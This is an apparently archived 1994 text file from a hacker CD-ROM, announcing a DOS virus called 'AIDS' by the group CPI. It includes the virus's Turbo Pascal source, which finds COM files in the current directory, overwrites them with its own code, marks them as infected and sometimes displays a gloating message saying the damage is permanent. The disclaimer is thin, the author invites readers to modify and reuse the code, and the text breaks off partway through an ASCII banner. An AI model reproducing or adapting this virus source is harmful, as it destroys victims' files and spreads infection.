home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / CPI2_6.TXT < prev    next >
INI File  |  1994-07-17  |  9KB  |  181 lines

  1. [2.6]
  2.  +-------------------------------+     +--------------------------------------+
  3.  |                               |  P  |                                      |
  4.  |  @@@@@@@  @@@@@@@@  @@@@@@@@  |  *  |   #####    #####    ####     #####   |
  5.  |  @@       @@    @@     @@     |  R  |   #   #      #      #   #    #       |
  6.  |  @@       @@    @@     @@     |  *  |   #####      #      #   #    #####   |
  7.  |  @@       @@@@@@@@     @@     |  E  |   #   #      #      #   #        #   |
  8.  |  @@       @@           @@     |  *  |   #   #    #####    ####     #####   |
  9.  |  @@       @@           @@     |  S  |                                      |
  10.  |  @@@@@@@  @@        @@@@@@@@  |  *  +--------------------------------------+
  11.  |                               |  E  |     A NEW AND IMPROVED VIRUS FOR     |
  12.  +-------------------------------+  *  |          PC/MS DOS MACHINES          |
  13.  |       C O R R U P T E D       |  N  +--------------------------------------+
  14.  |                               |  *  |     CREATED BY: DOCTOR DISSECTOR     |
  15.  |     P R O G R A M M I N G     |  T  |FILE INTENDED FOR EDUCATIONAL USE ONLY|
  16.  |                               |  *  |  AUTHOR NOT RESPONSIBLE FOR READERS  |
  17.  |   I N T E R N A T I O N A L   |  S  |DOES NOT ENDORSE ANY ILLEGAL ACTIVITYS|
  18.  +-------------------------------+     +--------------------------------------+
  19.  
  20.  Well well, here it is... I call it AIDS... It infects all COM files, but it is
  21.  not perfect, so it will also change the date/time stamp to the current system.
  22.  Plus, any READ-ONLY attributes will ward this virus off, it doesn't like them!
  23.  
  24.  Anyway, this virus was originally named NUMBER ONE, and I modified the code so
  25.  that it would fit my needs. The source code, which is included with this neato
  26.  package was written in Turbo Pascal 3.01a. Yeah I know it's old, but it works.
  27.  
  28.  Well, I added a few things, you can experiment or mess around with it if you'd
  29.  like to, and add any mods to it that you want, but change the name and give us
  30.  some credit if you do.
  31.  
  32.  The file is approximately 13k long, and this extra memory will be added to the
  33.  file it picks as host. If no more COM files are to be found, it picks a random
  34.  value from 1-10, and if it happens to be the lucky number 7, AIDS will present
  35.  a nice screen with lots of smiles, with a note telling the operator that their
  36.  system is now screwed, I mean permanantly. The files encrypted containing AIDS
  37.  in their code are IRREVERSIBLY messed up. Oh well...
  38.  
  39.  Again, neither CPI nor the author of Number One or AIDS endorses this document
  40.  and program for use in any illegal manner. Also, CPI, the author to Number One
  41.  and AIDS is not responsible for any actions by the readers that may prove harm
  42.  in any way or another. This package was written for EDUCATIONAL purposes only!
  43.  
  44. { Beginning of source code, Turbo Pascal 3.01a }
  45. {C-}
  46. {U-}
  47. {I-}       { Wont allow a user break, enable IO check }
  48.  
  49. { -- Constants --------------------------------------- }
  50.  
  51. Const
  52.      VirusSize = 13847;    { AIDS's code size }
  53.  
  54.      Warning   :String[42]     { Warning message }
  55.      = 'This File Has Been Infected By AIDS! HaHa!';
  56.  
  57. { -- Type declarations------------------------------------- }
  58.  
  59. Type
  60.      DTARec    =Record      { Data area for file search }
  61.      DOSnext  :Array[1..21] of Byte;
  62.                    Attr    : Byte;
  63.                    Ftime,
  64.                    FDate,
  65.                    FLsize,
  66.                    FHsize  : Integer;
  67.                    FullName: Array[1..13] of Char;
  68.                  End;
  69.  
  70. Registers    = Record    {Register set used for file search }
  71.    Case Byte of
  72.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  73.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  74.    End;
  75.  
  76. { -- Variables--------------------------------------------- }
  77.  
  78. Var
  79.                                { Memory offset program code }
  80.    ProgramStart : Byte absolute Cseg:$100;
  81.                                           { Infected marker }
  82.    MarkInfected : String[42] absolute Cseg:$180;
  83.    Reg          : Registers;                 { Register set }
  84.    DTA          : DTARec;                       { Data area }
  85.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  86.    TestID       : String[42]; { To recognize infected files }
  87.    UsePath      : String[66];        { Path to search files }
  88.                                     { Lenght of search path }
  89.    UsePathLenght: Byte absolute UsePath;
  90.    Go           : File;                    { File to infect }
  91.    B            : Byte;                              { Used }
  92.    LoopVar      : Integer;  {Will loop forever}
  93.  
  94. { -- Program code------------------------------------------ }
  95.  
  96. Begin
  97.   GetDir(0, UsePath);               { get current directory }
  98.   if Pos('\', UsePath) <> UsePathLenght then
  99.     UsePath := UsePath + '\';
  100.   UsePath := UsePath + '*.COM';        { Define search mask }
  101.   Reg.AH := $1A;                            { Set data area }
  102.   Reg.DS := Seg(DTA);
  103.   Reg.DX := Ofs(DTA);
  104.   MsDos(Reg);
  105.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  106.   Reg.AH := $4E;
  107.   Reg.DS := Seg(UsePath);
  108.   Reg.DX := Ofs(UsePath[1]);
  109.   Reg.CX := $ff;          { Set attribute to find ALL files }
  110.   MsDos(Reg);                   { Find first matching entry }
  111.   IF not Odd(Reg.Flags) Then         { If a file found then }
  112.     Repeat
  113.       UsePath := DTA.FullName;
  114.       B := Pos(#0, UsePath);
  115.       If B > 0 then
  116.       Delete(UsePath, B, 255);             { Remove garbage }
  117.       Assign(Go, UsePath);
  118.       Reset(Go);
  119.       If IOresult = 0 Then          { If not IO error then }
  120.       Begin
  121.         BlockRead(Go, Buffer, 2);
  122.         Move(Buffer[$80], TestID, 43);
  123.                       { Test if file already ill(Infected) }
  124.         If TestID <> Warning Then        { If not then ... }
  125.         Begin
  126.           Seek (Go, 0);
  127.                             { Mark file as infected and .. }
  128.           MarkInfected := Warning;
  129.                                                { Infect it }
  130.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  131.           Close(Go);
  132.           Halt;                   {.. and halt the program }
  133.         End;
  134.         Close(Go);
  135.       End;
  136.         { The file has already been infected, search next. }
  137.       Reg.AH := $4F;
  138.       Reg.DS := Seg(DTA);
  139.       Reg.DX := Ofs(DTA);
  140.       MsDos(Reg);
  141.     {  ......................Until no more files are found }
  142.     Until Odd(Reg.Flags);
  143. Loopvar:=Random(10);
  144. If Loopvar=7 then
  145. begin
  146.   Writeln(' ');                          {Give a lot of smiles}
  147. Writeln('');
  148. Writeln('     ');
  149. Writeln('                                 ATTENTION:                             ');
  150. Writeln('      I have been elected to inform you that throughout your process of ');
  151. Writeln('      collecting and executing files, you have accidentally HÜ¢KΣ     ');
  152. Writeln('      yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
  153. Writeln('      be; YES, it CAN be, a √ìτûs has infected your system. Now what do ');
  154. Writeln('      you have to say about that? HAHAHAHA. Have HÜÑ with this one and ');
  155. Writeln('                       remember, there is NO cure for                   ');
  156. Writeln('                                                                        ');
  157. Writeln('         ██████████     ████████████    ███████████      ██████████     ');
  158. Writeln('        ███▒▒▒▒▒▒███     ▒▒▒▒██▒▒▒▒▒▒   ██▒▒▒▒▒▒▒███    ███▒▒▒▒▒▒▒██    ');
  159. Writeln('        ██▒▒      ██▒        ██▒        ██▒       ██▒   ██▒▒       ▒▒   ');
  160. Writeln('        ██▒       ██▒        ██▒        ██▒       ██▒   ██▒             ');
  161. Writeln('        ████████████▒        ██▒        ██▒       ██▒   ████████████    ');
  162. Writeln('        ██▒▒▒▒▒▒▒▒██▒        ██▒        ██▒       ██▒    ▒▒▒▒▒▒▒▒▒██▒   ');
  163. Writeln('        ██▒       ██▒        ██▒        ██▒       ██▒             ██▒   ');
  164. Writeln('        ██▒       ██▒        ██▒        ██▒      ███▒   ██       ███▒   ');
  165. Writeln('        ██▒       ██▒   █████